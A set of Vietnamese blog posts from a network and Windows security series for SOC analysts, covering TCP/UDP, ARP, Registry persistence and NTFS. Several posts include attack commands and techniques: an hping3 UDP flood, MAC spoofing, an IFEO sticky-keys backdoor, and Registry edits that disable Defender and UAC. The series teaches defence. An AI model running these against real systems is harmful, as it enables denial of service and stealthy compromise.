Hậu quả: Khi Server nhận được gói tin UDP ở một cổng, nó bắt buộc phải dùng CPU để kiểm tra xem có ứng dụng nào đang chờ ở cổng đó không. Khi phát hiện không có, nó phải tốn thêm công sức để tạo và gửi lại một gói lỗi ICMP Destination Unreachable (Port Unreachable). Khi phải xử lý hàng triệu thao tác vô bổ này trong một giây, máy chủ sẽ sụp đổ hoàn toàn vì quá tải.

# Lệnh minh họa tấn công UDP Flood bằng hping3
# CHỈ thực hiện trong môi trường Lab, tuyệt đối KHÔNG dùng trên hệ thống thật

# -2: chế độ UDP | --flood: xả gói liên tục | --rand-source: IP nguồn ngẫu nhiên
sudo hping3 -2 --flood --rand-source 192.168.1.10

Cảnh báo: Lệnh trên có thể gây tê liệt hệ thống mục tiêu. Chỉ sử dụng trong môi trường thực hành (Lab) hoàn toàn cô lập, không kết nối Internet.

Qua bài viết này, chúng ta đã biết cách dùng Wireshark để đọc các tín hiệu “kêu cứu” của hệ thống (Retransmission, Zero Window) và hiểu rõ bản chất tàn khốc của các đòn tấn công DDoS ở Tầng 4. Sau khi đã nắm vững quá trình vận chuyển gói tin, ở Bài 5 tiếp theo, chúng ta sẽ bước lên Lớp 5 (Session Layer) để khám phá ranh giới của các phiên làm việc và kỹ thuật Cướp phiên (Session Hijacking) tinh vi của Hacker. Hẹn gặp lại các bạn!

TCP và Nghệ thuật Bắt tay 3 Bước

Thu, 21 May 2026 09:00:00 +0700

Chào mừng các bạn tiếp tục với Series Giải phẫu Mạng & Packet Analysis! Ở bài trước, chúng ta đã thấy Tầng 2 và 3 chỉ biết tìm đường và “ném” gói tin đi mà không hề quan tâm đến sự sống chết của dữ liệu. Để đảm bảo thông tin không bị thất lạc hay lộn xộn trên môi trường Internet khắc nghiệt, chúng ta cần đến “trái tim” của sự ổn định: Giao thức TCP tại Tầng 4. Hôm nay, hãy cùng mổ xẻ cơ chế Bắt tay 3 bước kinh điển và cách dùng Wireshark để phát hiện các đòn tấn công mạng nguy hiểm.

1. Tầng 4 (Transport) và Sứ mệnh của TCP

Nhiệm vụ cốt lõi của Tầng 4 (Giao vận) là kiểm soát toàn bộ quá trình truyền tải dữ liệu. Khi nhận dữ liệu từ các tầng trên, Tầng 4 sẽ thực hiện phân đoạn (Segmentation) để chia nhỏ dữ liệu cho vừa với đường truyền, đánh số thứ tự (Sequencing) và dùng số Cổng (Port) để định tuyến đến đúng ứng dụng.

Tại đây, hai giao thức thống trị là TCP (Transmission Control Protocol) và UDP (User Datagram Protocol). Việc lựa chọn giao thức nào hoàn toàn phụ thuộc vào ứng dụng ở Tầng 7. Hệ điều hành sẽ dán một cái nhãn vào IP Header ở Tầng 3 (ví dụ nhãn số 6 cho TCP, 17 cho UDP) để Tầng 4 biết phải lôi “bộ máy” nào ra xử lý.

Trong khi UDP đề cao tốc độ bằng cách “cứ có là gửi, mất thì thôi”, thì TCP lại là biểu tượng của sự tin cậy. TCP đảm bảo mọi gói tin đều đến đúng nơi, đúng thứ tự, và nếu có bất kỳ dữ liệu nào bị mất, nó sẽ bắt buộc gửi lại (Retransmission).

2. Nghệ thuật Bắt tay 3 Bước (3-Way Handshake)

Trước khi truyền đi dù chỉ một byte dữ liệu ứng dụng, TCP yêu cầu hai thiết bị phải thiết lập một kết nối vững chắc thông qua quá trình Bắt tay 3 bước. Quá trình này diễn ra như sau:

Bước 1 — Gói SYN: Máy Client gửi một gói tin mang cờ SYN (Synchronize) với số thứ tự Sequence ban đầu để ngỏ lời kết nối. Gói này cũng khai báo Window Size, báo cho Server biết: “Tôi có thể nhận tối đa 64,240 bytes dữ liệu một lúc đấy nhé”.
Bước 2 — Gói SYN-ACK: Server đồng ý và đáp lại bằng gói SYN, ACK. Cờ ACK được bật để Server thông báo: “Tôi đã nhận được gói 0 của ông, tôi đang đợi gói 1 đây”.
Bước 3 — Gói ACK: Client gửi lại gói ACK cuối cùng để chốt hạ. Từ lúc này, “đường ống” đã thông suốt.

Dưới đây là output Wireshark bắt được khi Client 192.168.1.114 kết nối đến Server 72.34.249.208 qua cổng HTTPS (443):

# Lọc theo địa chỉ IP của Client và Server:
# Mẫu luồng gói tin trong Wireshark

No. Time Source Destination Protocol Info
1 0.000000 192.168.1.114 -> 72.34.249.208 TCP 47682 -> 443 [SYN] Seq=0 Win=64240 Len=0 MSS=1460
2 0.474661 72.34.249.208 -> 192.168.1.114 TCP 443 -> 47682 [SYN, ACK] Seq=0 Ack=1 Win=64512 Len=0
3 0.474780 192.168.1.114 -> 72.34.249.208 TCP 47682 -> 443 [ACK] Seq=1 Ack=1 Win=64512 Len=0
4 0.476483 192.168.1.114 -> 72.34.249.208 TLSv1.3 Client Hello (SNI=apex.go.sonobi.com)

Ghi chú: Gói số 4 cho thấy ngay sau khi bắt tay 3 bước hoàn tất, Client lập tức gửi Client Hello của TLS để khởi động mã hóa. Đây là quy trình chuẩn của HTTPS.

3. Cơ chế Đảm bảo Toàn vẹn (Sequence & Acknowledgment)

Làm sao TCP biết một gói tin đã đến đích an toàn? Bí quyết nằm ở cách nó sử dụng hai con số: Sequence Number (Số thứ tự) và Acknowledgment Number (Số xác nhận).

Khi gửi dữ liệu, Tầng 4 sẽ tính toán dựa trên số lượng byte. Nếu gói tin thứ nhất mang 500 byte dữ liệu và có Seq=1, thì gói tin thứ hai sẽ được đánh số Seq=501.

Khi máy đích nhận được gói thứ nhất, nó sẽ phản hồi bằng một gói có Ack=501, mang hàm ý: “Tôi đã nhận đủ 500 byte, hãy gửi tiếp cho tôi dữ liệu từ byte 501 trở đi”. Nếu Server không gửi Acknowledgment phản hồi sau một khoảng thời gian chờ, máy gửi sẽ tự động thực hiện gửi lại gói tin đó (Fast Retransmit hoặc RTO).

4. Bắt bệnh Mạng và Cảnh báo SOC bằng Wireshark

Với cơ chế khắt khe của TCP, Wireshark cung cấp cho SOC Analyst các bộ lọc cực kỳ mạnh mẽ để “bắt bệnh” hệ thống khi mạng bị chậm hoặc gặp sự cố:

Mất gói (Retransmission): Bộ lọc tcp.analysis.retransmission sẽ hiển thị các dòng chữ màu đỏ cảnh báo gói tin phải gửi lại do không nhận được ACK.
Thiếu mảnh dữ liệu (Duplicate ACK): Dùng bộ lọc tcp.analysis.duplicate_ack. Bạn sẽ thấy máy nhận liên tục gửi các gói ACK có cùng một số hiệu để “gào thét” đòi mảnh dữ liệu bị rớt ở giữa luồng.
Hệ thống bị ngộp (Zero Window): Bộ lọc tcp.analysis.zero_window phát hiện khi thiết bị nhận đã cạn kiệt bộ nhớ đệm. Nó sẽ ném ra gói tin này để ép máy gửi phải dừng truyền ngay lập tức (cơ chế Flow Control).

Cảnh báo SOC — Tấn Công SYN Flood: Hacker rất thích lợi dụng sự “kỹ tính” trong quá trình Bắt tay 3 bước của TCP để thực hiện tấn công từ chối dịch vụ (DDoS). Bằng cách bắn hàng vạn gói SYN giả mạo vào Server nhưng tuyệt đối không bao giờ trả lời bằng gói ACK cuối cùng, Server sẽ bị treo cứng vì cạn kiệt tài nguyên để chờ đợi những cái “bắt tay” không bao giờ hoàn tất. Bộ lọc phát hiện nhanh: tcp.flags.syn == 1 && tcp.flags.ack == 0.

Như vậy, việc thấu hiểu nhịp đập của “Trái tim” TCP giúp chúng ta phân biệt được một sự cố mạng do đường truyền kém với một cuộc tấn công từ chối dịch vụ có chủ đích. Ở Tầng 4, chúng ta mới chỉ quản lý được các cổng (Port), nhưng để duy trì trạng thái đăng nhập liên tục của người dùng, chúng ta cần tiến lên một bậc nữa. Trong Bài 4 tiếp theo, hãy cùng khám phá Lớp 5 (Session) và các kỹ thuật cướp phiên (Session Hijacking) tinh vi của Hacker. Đừng bỏ lỡ nhé!

Giao thức Lớp 2 & 3 - Truy vết MAC, IP và MAC Spoofing

Wed, 20 May 2026 08:30:00 +0700

Chào mừng các bạn quay trở lại với Series Giải phẫu Mạng (Network Anatomy) & Packet Analysis! Ở bài trước, chúng ta đã ngắm nhìn toàn cảnh “bản đồ kho báu” OSI và biết cách đặt một gói tin lên bàn mổ Wireshark. Hôm nay, chúng ta sẽ bắt đầu chuyến thám hiểm thực sự vào thế giới của Tầng 2 (Data Link) và Tầng 3 (Network). Đây là nơi giải quyết câu hỏi cốt lõi nhất của Internet: “Làm sao thiết bị A có thể tìm và gửi dữ liệu chính xác cho thiết bị B giữa hàng tỷ thiết bị trên toàn cầu?”

1. Tầng 3 (Network): Bản đồ Thế giới và Địa chỉ IP

Nếu muốn gửi một bức thư xuyên quốc gia, bạn cần một địa chỉ nhà chính xác. Trong thế giới mạng, Tầng 3 (Network Layer) chịu trách nhiệm định tuyến đường đi tốt nhất trên môi trường Internet bằng cách sử dụng Địa chỉ IP (Internet Protocol).

Tính chất: Địa chỉ IP là địa chỉ logic, được điều khiển bởi phần mềm và có thể thay đổi tùy thuộc vào mạng bạn đang kết nối.
Đóng gói: Dữ liệu khi đi qua Tầng 3 sẽ được dán thêm một lớp IP Header để tạo thành một Packet (Gói tin). Lớp vỏ này chứa IP Nguồn (Source IP) và IP Đích (Destination IP).
Chẩn đoán lỗi: Tầng 3 còn quản lý ICMP (Internet Control Message Protocol), giao thức đứng đằng sau lệnh ping quen thuộc.

Đứng ở góc nhìn bảo mật, ICMP không chỉ dùng để ping mạng, mà còn là cách Tường lửa (Firewall) giao tiếp trả về thông báo. Khi Firewall chặn một kết nối bằng lệnh REJECT, hệ thống sẽ trả về một gói tin ICMP với thông điệp Destination unreachable (Host unreachable).

2. Tầng 2 (Data Link): Căn cước công dân và Địa chỉ MAC

Nếu Tầng 3 (IP) là địa chỉ nhà giúp gói tin bay xuyên lục địa, thì Tầng 2 (Data Link Layer) chịu trách nhiệm tìm đúng cánh cửa để gõ khi gói tin đã về đến mạng nội bộ (mạng LAN).

Đơn vị dữ liệu: Tầng 2 sẽ bọc Packet của Tầng 3 lại thành một Frame (Khung).
Địa chỉ MAC: Giao thức chính ở đây là Ethernet II, sử dụng Địa chỉ MAC (Media Access Control).

MAC giống như cái “Căn cước công dân” vật lý, một mã số duy nhất gồm 48-bit, ví dụ 40:8D:5C:9B:A6:67, được nhà sản xuất nạp cứng vào card mạng (NIC) của bạn.

Tại sao đã có IP mà vẫn cần MAC? Trong một mạng LAN, các thiết bị trung tâm như Switch không hề nhìn vào địa chỉ IP. Chúng chỉ đọc địa chỉ MAC trên Frame để biết chính xác phải đẩy xung điện dữ liệu vào cổng (Port) vật lý nào để tới đúng máy tính của bạn chứ không phải máy của anh hàng xóm.

3. Cầu nối sinh tử: Giao thức phân giải địa chỉ (ARP)

Đây là lúc rắc rối xảy ra: máy tính của bạn biết IP của máy đích (Tầng 3), nhưng card mạng lại bắt buộc phải có địa chỉ MAC (Tầng 2) để truyền Frame đi. Làm sao để biết được MAC của một IP lạ? Giải pháp chính là ARP (Address Resolution Protocol).

Quá trình “hỏi đường” ARP diễn ra như sau, hãy tưởng tượng mạng LAN là một căn phòng đông người:

ARP Request (Hỏi): Máy của bạn “hét” lên toàn mạng (Broadcast) một thông điệp: “Ai là chủ nhân của địa chỉ IP 192.168.1.1? Hãy cho tôi biết địa chỉ MAC của bạn!”.
ARP Reply (Trả lời): Chỉ duy nhất thiết bị đang giữ IP đó mới lên tiếng đáp lại (Unicast): “Là tôi đây! Địa chỉ MAC của tôi là AA:BB:CC:DD:EE:FF”.
ARP Cache (Ghi nhớ): Sau khi nhận câu trả lời, máy của bạn sẽ lưu cặp IP - MAC này vào Bảng ARP (ARP Table) để lần sau không phải hét lên hỏi nữa.

Ghi chú: Chèn ảnh chụp màn hình Wireshark bắt gói tin ARP Request (Who has...) và ARP Reply (is at...) tại đây.

4. Góc nhìn Kẻ tấn công: Thực chiến MAC Spoofing

Địa chỉ MAC được nạp cứng vào phần cứng, nghe có vẻ rất an toàn đúng không? Sai lầm! Địa chỉ MAC hoàn toàn có thể bị giả mạo bằng phần mềm ở cấp độ hệ điều hành. Kỹ thuật này gọi là MAC Spoofing (Giả mạo MAC).

Tại sao hacker lại làm vậy? Nhiều hệ thống an ninh mạng, như hệ thống Wi-Fi ở khách sạn, công ty hay luật Firewall tĩnh, sử dụng tính năng lọc địa chỉ MAC (MAC Filtering) để quyết định ai được phép vào mạng. Bằng cách giả mạo MAC của một thiết bị hợp lệ như máy của sếp hoặc máy in, hacker có thể đàng hoàng vượt rào.

Dưới đây là cách thay đổi địa chỉ MAC trên máy Linux trong môi trường lab:

# Kiểm tra danh sách card mạng hiện tại
ip link show

# Tắt card mạng muốn thay đổi, ví dụ wlp8s0
sudo ip link set dev wlp8s0 down

# Đổi địa chỉ MAC sang một MAC giả
sudo ip link set dev wlp8s0 address 00:ad:be:ef:13:40

# Bật lại card mạng
sudo ip link set dev wlp8s0 up

# Kiểm tra lại xem MAC đã được đổi thành công chưa
ip link show wlp8s0

Cảnh báo: Kỹ thuật MAC Spoofing cũng là tiền đề cho một đòn đánh nghiêm trọng hơn gọi là ARP Spoofing / ARP Poisoning (đầu độc bộ nhớ cache ARP). Kẻ tấn công sẽ liên tục gửi các gói tin ARP Reply giả mạo để lừa toàn bộ máy tính trong mạng rằng: “MAC của tôi chính là Router đây”. Từ đó, luồng truy cập Internet của nạn nhân có thể bị điều hướng qua máy của kẻ tấn công trong mô hình Man-in-the-Middle.

Kết thúc Bài 2, chúng ta đã hiểu được “sợi dây liên kết” giữa địa chỉ logic (IP) và địa chỉ vật lý (MAC), cùng cách thức hoạt động của ARP và ICMP. Tầng 2 và 3 chỉ có nhiệm vụ tìm đường và ném gói tin đi, chúng không hề quan tâm gói tin có đến nơi an toàn hay không. Trách nhiệm nặng nề đó sẽ được giao cho Tầng 4. Ở Bài 3, chúng ta sẽ bước vào “trái tim” của sự ổn định: giải phẫu giao thức TCP, thuật toán bắt tay 3 bước và đi tìm nguyên nhân gây ra các lỗi rớt mạng kinh điển. Các bạn đừng bỏ lỡ nhé!

Săn lùng Malware trong Registry

Fri, 08 May 2026 16:40:00 +0700

Chào mừng các bạn tiếp tục với Series Giải phẫu Windows OS & SOC Analytics! Ở bài viết trước, chúng ta đã hiểu cơ chế hoạt động của Registry. Hôm nay, chúng ta sẽ bước vào một cuộc chiến thực sự: Săn lùng Malware. Một trong những mục tiêu tối thượng của mã độc sau khi xâm nhập thành công là Duy trì sự hiện diện (Persistence) - đảm bảo rằng dù người dùng có tắt máy hay khởi động lại, mã độc vẫn sẽ tự động kích hoạt. Nơi ẩn nấp lý tưởng nhất chính là Registry. Hãy cùng trang bị “vũ khí” PowerShell Autoruns để bóc trần những điểm neo này!

1. Kỹ thuật “Cắm chốt” kinh điển: Auto Run Keys

Hầu hết các phần mềm độc hại, từ cơ bản đến phức tạp, đều lợi dụng các khóa tự khởi động (Auto Run) do Microsoft thiết kế để kích hoạt cùng hệ thống. Các khóa này được chia theo cấp độ phân quyền:

Mức độ người dùng (User Level): HKCU\Software\Microsoft\Windows\CurrentVersion\Run. Khóa này chỉ chạy mã độc khi người dùng hiện tại đăng nhập và không yêu cầu quyền Admin để ghi dữ liệu.
Mức độ hệ thống (Machine Level): HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run. Khóa này chạy cho mọi người dùng trên máy nhưng bắt buộc mã độc phải có quyền Administrator hoặc SYSTEM mới có thể ghi vào đây. Việc mã độc ghi thành công vào khóa này chứng tỏ hệ thống đã bị leo thang đặc quyền.
Khóa “Dùng một lần” (RunOnce): Tương tự như Run, nhưng hệ điều hành sẽ tự động xóa giá trị này ngay sau khi thực thi. Malware tinh vi thường dùng RunOnce để thực hiện các tập lệnh dọn dẹp dấu vết hoặc cài đặt sâu hơn vào hệ thống.

Góc nhìn SOC: Khi mã độc ghi đè hoặc tạo mới giá trị thông qua các API như RegSetValueEx, Windows sẽ ghi nhận sự kiện với Event ID 4657 (A registry value was modified), trong khi Sysmon sẽ ghi nhận Event ID 13 (Registry Value Set). Riêng với khóa RunOnce, bạn sẽ thấy log nổ ra 2 lần (một lần lúc tạo và một lần lúc Windows tự xóa), tương ứng với Sysmon ID 13 và Sysmon ID 12 (Object Deleted).

2. Kỹ thuật ăn bám tiến trình hệ thống: Winlogon & Userinit

Thay vì tạo ra một khóa Registry mới dễ bị phát hiện, những kẻ tấn công khôn ngoan hơn sẽ “ký sinh” vào các tiến trình đăng nhập cốt lõi của Windows là Winlogon.

Hacker thường nhắm vào hai đường dẫn sau tại HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon:

2.1 Ký sinh qua Userinit

Mặc định, giá trị của khóa Userinit chỉ đơn giản là userinit.exe. Tuy nhiên, khóa này có một tính năng đặc biệt (Comma-separated) cho phép nối nhiều đường dẫn với nhau bằng dấu phẩy. Hacker chỉ cần âm thầm chèn thêm một đoạn như userinit.exe, C:\Users\Administrator\AppData\Local\Temp\789a.bat. Kết quả là hệ thống sẽ tự động “rước” mã độc vào máy một cách hoàn toàn hợp lệ ngay sau khi người dùng nhập mật khẩu.

2.2 Đánh tráo giao diện (Shell)

Khóa Shell có nhiệm vụ gọi giao diện màn hình làm việc (mặc định là explorer.exe). Kẻ tấn công có thể thay thế hoàn toàn explorer.exe bằng mã độc của chúng, hoặc nối thêm như explorer.exe, C:\windows\temp\malware.exe.

3. Bóng ma “Cửa sau”: Image File Execution Options (IFEO)

IFEO (HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\) vốn là một tính năng được Microsoft thiết kế để các nhà phát triển gỡ lỗi (debug) ứng dụng của họ. Nhưng trong tay Hacker, IFEO biến thành công cụ leo thang đặc quyền và duy trì sự hiện diện cực kỳ đáng sợ.

Kịch bản tấn công Sticky Keys khét tiếng: Hacker sẽ tạo một khóa con mang tên sethc.exe (chương trình phím dính - Sticky Keys hiện lên khi bạn bấm Shift 5 lần) bên trong IFEO. Tại đây, chúng thêm một giá trị Debugger trỏ thẳng tới cmd.exe.

Kết quả? Ngay tại màn hình khóa Windows (khi chưa cần đăng nhập), hacker chỉ cần bấm phím Shift 5 lần. Thay vì hiện ra bảng Sticky Keys, hệ thống sẽ mở ra một cửa sổ Command Prompt với quyền lực tối cao là SYSTEM, cho phép hacker kiểm soát hoàn toàn máy tính!

4. Thực chiến: Săn lùng Malware với PowerShell Autoruns

Việc mở regedit.exe lên và kiểm tra bằng tay từng khóa là điều không tưởng đối với một SOC Analyst. Đó là lúc chúng ta cần đến Autoruns - một công cụ cực mạnh giúp soi quét mọi ngóc ngách tự khởi động của hệ thống.

Trong môi trường PowerShell, bạn có thể gọi module Get-PSAutorun kết hợp với tham số kiểm tra chữ ký số và xuất ra dạng bảng (GridView) để dễ theo dõi:

Get-PSAutorun -VerifyDigitalSignature | Out-GridView

Khi bảng dữ liệu hiện lên, bạn cần “lia mắt” ngay đến các cột sinh tử sau:

Signed (Đã ký số): Nếu giá trị là False, hãy báo động đỏ! Mã độc hiếm khi có chữ ký số hợp lệ của các nhà phát hành uy tín.
IsOSBinary: Nếu là True, Windows xác nhận đây là tệp tin lõi của hệ điều hành.
Publisher: Thông thường các tệp an toàn sẽ ghi là CN=Microsoft Windows, O=Microsoft Corporation. Nếu cột này bị để trống hoặc ghi một cái tên mờ ám, đó là mục tiêu cần điều tra ngay.

4.1 Kỹ thuật so sánh Baseline (Điểm chuẩn)

Một kỹ năng cao cấp của Blue Team là so sánh Registry hiện tại với một bản sao lưu (Baseline) khi máy tính còn “sạch”.

# Bỏ qua các file chuẩn của OS và tạo bản Baseline
Get-PSAutorun -VerifyDigitalSignature | Where { -not($_.isOSbinary)} | New-AutoRunsBaseLine -Verbose

# So sánh hệ thống hiện tại với bản Baseline cũ
Compare-AutoRunsBaseLine -Verbose | Out-GridView

Bằng lệnh so sánh này, mọi khóa Userinit bị chèn thêm mã độc (như file .bat hay .ps1) hoặc các khóa Run mới mọc lên sẽ bị phơi bày lập tức trong một cửa sổ GridView tách biệt, giúp bạn chẩn đoán hệ thống chỉ trong vài giây.

Windows Registry là một bãi mìn thực sự, nơi mã độc và hệ thống cài răng lược vào nhau. Việc làm chủ các điểm neo Persistence và thành thạo PowerShell Autoruns sẽ giúp bạn bóc tách được những vỏ bọc tinh vi nhất. Ở bài viết tiếp theo, chúng ta sẽ tìm hiểu cách mã độc vượt rào bảo mật bằng kỹ thuật UAC Bypass. Hãy cùng đón chờ!

Windows Registry và cách dùng ProcMon

Fri, 08 May 2026 16:00:00 +0700

Chào mừng các bạn tiếp tục với Series Giải phẫu Windows OS & SOC Analytics! Chúng ta đã biết File System là nơi cất giữ dữ liệu, vậy đâu là nơi lưu trữ các quy tắc điều hành máy tính? Làm sao hệ thống biết khi bật máy lên phải chạy những phần mềm nào, hình nền của bạn màu gì, hay file .docx thì phải mở bằng Microsoft Word? Câu trả lời nằm ở “bộ não” của Windows: Registry. Hôm nay, chúng ta sẽ mổ xẻ cơ sở dữ liệu khổng lồ này và học cách giám sát nó bằng ProcMon.

1. Windows Registry là gì? Cấu trúc của các Hives

Windows Registry là một cơ sở dữ liệu phân cấp khổng lồ, làm nhiệm vụ lưu trữ toàn bộ các thiết lập phần cứng, cấu hình phần mềm, tùy chọn của người dùng và các thiết lập bảo mật cốt lõi của hệ điều hành Windows.

Mặc dù khi mở công cụ regedit.exe, bạn sẽ thấy Registry hiển thị như một cây thư mục thống nhất, nhưng thực tế nó được ghép lại từ nhiều tệp tin vật lý (gọi là các Hives) nằm rải rác trên ổ cứng.

Cấu trúc cốt lõi của Registry được chia thành 5 nhánh (Hives) chính:

HKEY_CLASSES_ROOT (HKCR): Quản lý thông tin về các định dạng file (ví dụ: quy định file .txt thì mở bằng Notepad) và các thành phần COM/OLE.
HKEY_CURRENT_USER (HKCU): Lưu cấu hình riêng của người dùng đang đăng nhập hiện tại (như hình nền, màu sắc giao diện, các icon hay app cá nhân).
HKEY_LOCAL_MACHINE (HKLM): Đây là nhánh quan trọng nhất dưới góc độ SOC. Nó lưu trữ cấu hình của toàn bộ máy tính, bao gồm phần cứng, Driver, thiết lập mạng, bảo mật và các phần mềm dùng chung cho mọi người dùng.
HKEY_USERS (HKU): Chứa tất cả các profile (hồ sơ) của mọi người dùng từng đăng nhập trên máy tính này. Thực chất, dữ liệu của nhánh HKCU chỉ là một bản ánh xạ từ một nhánh con bên trong HKU.
HKEY_CURRENT_CONFIG (HKCC): Chứa các thông tin về cấu hình phần cứng hiện tại đang được sử dụng ở lần khởi động này.

2. Cơ chế hoạt động: Nguồn gốc dữ liệu và Sự “lắng nghe”

Vậy làm sao các phần mềm biết phải ghi thông tin vào đâu trong Registry, và Windows lấy dữ liệu ra như thế nào?

2.1 Tài liệu MSDN (Microsoft Developer Network)

Khi Microsoft tạo ra Windows, họ thiết kế một bộ quy tắc và công khai các khóa Registry thông qua tài liệu SDK/MSDN. Nhờ đó, các lập trình viên phần mềm (như Adobe, Google,…) biết cách đăng ký dịch vụ, thiết lập quyền hạn hoặc tùy chỉnh giao diện ứng dụng của mình. Chẳng hạn, các khóa tự khởi động (Run keys) được ghi chép rất rõ ràng để phần mềm biết chỗ mà “cắm chốt” khởi động cùng máy.

2.2 Cơ chế “Lắng nghe” (Event-Driven)

Một câu hỏi thú vị: Tại sao khi bạn vào Registry, đổi một Key từ False sang True thì thanh Dock (hoặc Taskbar) lại lập tức thay đổi vị trí?

Bản chất của vấn đề là: Windows (và các tiến trình như explorer.exe) liên tục thực hiện hành động “đọc” Registry. Registry thực chất chỉ là một “cái kho” hay một bảng cài đặt khổng lồ. Việc một tính năng có hoạt động hay không là do mã nguồn của Windows đã được lập trình để luôn nhìn vào cái kho đó trước khi thực hiện hành động. Hệ thống chạy một đoạn mã logic dạng: “Nếu giá trị tại Key [ThanhDock] là True thì vẽ nó ở giữa, nếu là False thì vẽ bên trái”.

3. Kỹ thuật Đảo ngược và Giám sát bằng ProcMon

Vì Registry là một cái kho tĩnh, đôi khi có những “bí mật” hoặc các khóa Registry không hề được Microsoft ghi trong tài liệu chính thức. Vậy làm sao các chuyên gia hay những “người ham vọc vạch” tìm ra chúng? Câu trả lời là Kỹ thuật Đảo ngược (Reverse Engineering) bằng việc giám sát thời gian thực.

Công cụ đắc lực nhất cho việc này là Process Monitor (ProcMon) - một phần mềm thuộc bộ Sysinternals do chính Microsoft cung cấp.

Cách thực chiến với ProcMon:

Bật ProcMon và đặt bộ lọc (Filter) chỉ theo dõi các sự kiện liên quan đến Registry (Registry Activity).
Mở giao diện cài đặt của Windows lên (ví dụ: cài đặt vị trí thanh Dock hoặc tắt/bật một tính năng bảo mật).
Thực hiện thay đổi (click chuột, bấm Apply) và ngay lập tức quan sát trên màn hình ProcMon.
ProcMon sẽ bắt được chính xác tiến trình nào của Windows vừa thực hiện lệnh Write (ghi) giá trị gì vào đường dẫn khóa Registry nào.

Bằng cách khoa học này, các nhà phân tích bảo mật có thể dễ dàng bắt thóp được mọi hành vi ngầm mà một ứng dụng (hoặc một mã độc) đang cố tình can thiệp vào hệ thống.

4. Góc nhìn SOC: Điểm neo của Hacker (Persistence)

Registry không chỉ đơn thuần lưu trữ cài đặt, nó còn có khả năng ra lệnh cho Windows phải làm gì. Do đó, đây là “mỏ vàng” để virus và mã độc lẩn trốn, đảm bảo rằng dù bạn có xóa file thực thi trên màn hình, mã độc vẫn sẽ tự động quay lại (Persistence) nhờ các dòng lệnh được nhúng trong Registry.

Những vị trí Registry nhạy cảm nhất mà một SOC Analyst phải thường xuyên giám sát bao gồm:

4.1 Các khóa tự khởi động (Auto Run Keys)

Hacker cực kỳ thích “cắm chốt” tại các đường dẫn sau để mã độc chạy ngay khi bật máy:

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

(Lưu ý: HKLM sẽ chạy cho toàn bộ máy tính và yêu cầu quyền Admin để ghi, trong khi HKCU chỉ chạy cho người dùng hiện tại).

4.2 Lợi dụng tính năng Userinit (Winlogon)

Được thiết kế để chuẩn bị môi trường làm việc sau khi đăng nhập, khóa Registry sau quy định chương trình khởi tạo mặc định của Windows:

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit

Giá trị mặc định của nó chỉ là userinit.exe. Hacker rất ranh ma, chúng không xóa file gốc mà chỉ cần nối thêm một dấu phẩy (,) và ghi kèm đường dẫn mã độc của chúng vào đằng sau (ví dụ: userinit.exe, C:\Temp\malware.bat) để được hệ thống “rước” vào máy một cách hợp lệ.

4.3 Vô hiệu hóa sức đề kháng (Security Evasion)

Ngoài việc thiết lập khởi động, hacker còn trực tiếp can thiệp Registry để “bịt mắt” các phần mềm bảo mật:

Tắt Windows Defender: Bằng cách sửa khóa HKLM\SOFTWARE\Policies\Microsoft\Windows Defender, gán giá trị DisableAntiSpyware = 1.
Vô hiệu hóa UAC: Sửa giá trị EnableLUA = 0 tại khóa HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System để UAC không bao giờ hiện bảng thông báo quyền Admin nữa.

Windows Registry thực sự là một hệ thần kinh phức tạp của hệ điều hành. Việc am hiểu cấu trúc Hives và biết cách sử dụng ProcMon để soi chiếu từng “nhịp đập” Write/Read của Registry sẽ biến bạn thành một thợ săn mã độc đáng gờm. Ở bài viết tới, chúng ta sẽ bắt tay vào thực hành săn lùng Malware trong Registry bằng bộ công cụ nâng cao Autoruns và cách phân tích chữ ký số (Digital Signatures). Hẹn gặp lại các bạn!

Phân tích NTFS

Fri, 08 May 2026 15:30:00 +0700

Chào mừng các bạn quay trở lại với Series Giải phẫu Windows OS & SOC Analytics! Ở bài viết trước, chúng ta đã hiểu được bức tranh tổng thể về File System và “chiêu trò” giấu mã độc qua Alternate Data Streams (ADS).Hôm nay, chúng ta sẽ cầm kính lúp pháp y (Forensics) để soi vào tận cùng cấu trúc NTFS, bóc tách cuốn sổ cái MFT và trích xuất các “camera an ninh” ngầm của hệ thống.

1. Kiến trúc tổng thể của NTFS: Đường đi của một tệp tin

Để hiểu NTFS, trước tiên ta cần nắm được cách nó phân chia ổ đĩa. NTFS chia đĩa thành các Cluster (thường là 4KB). Ngay cả khi một file chỉ nặng 2KB, nó vẫn chiếm trọn 1 Cluster 4KB, phần dư thừa đó (Slack Space) không cho file khác dùng. Điều này giúp NTFS tăng tốc độ ghi đọc theo khối lớn và hỗ trợ điều tra dấu vết mã độc.

Cấu trúc cốt lõi của một phân vùng NTFS bao gồm 4 phần chính:

Boot Sector: Nằm ở phần đầu phân vùng, chứa Jump code để boot và vị trí của MFT.
MFT (Master File Table): Cuốn sổ cái lưu trữ mọi thông tin.
MFT Mirror ($MFTMirr): Bản sao lưu một phần của MFT để phục hồi khi lỗi.
Data Area: Khu vực chứa nội dung dữ liệu thực sự của file.

Luồng hoạt động khi bạn mở một tệp: Hệ thống đọc Boot Sector -> Xác định vị trí MFT -> Đọc bản ghi (Record) của file trong MFT -> Tìm ra Cluster chứa dữ liệu -> Lấy dữ liệu từ Data Area.

2. Bóc tách “Trái tim” MFT (Master File Table)

Trong NTFS, mọi thứ đều là một tệp, kể cả chính hệ thống tệp. MFT thực chất là một tệp đặc biệt có tên $MFT. Cuốn sổ cái này được chia thành hàng nghìn bản ghi (MFT Records) có kích thước cố định. Mỗi tệp tin hoặc thư mục trên máy tính của bạn đều tương ứng với đúng 1 Record bên trong $MFT.

2.1 Giải phẫu một MFT Record

Một bản ghi MFT chứa siêu dữ liệu (Metadata) cực kỳ chi tiết, bao gồm:

Standard Information (Thông tin tiêu chuẩn): Chứa các dấu thời gian (Timestamps), quyền hạn, và các cờ như Read-only, Hidden, System.
File Name: Tên của tệp hoặc thư mục.
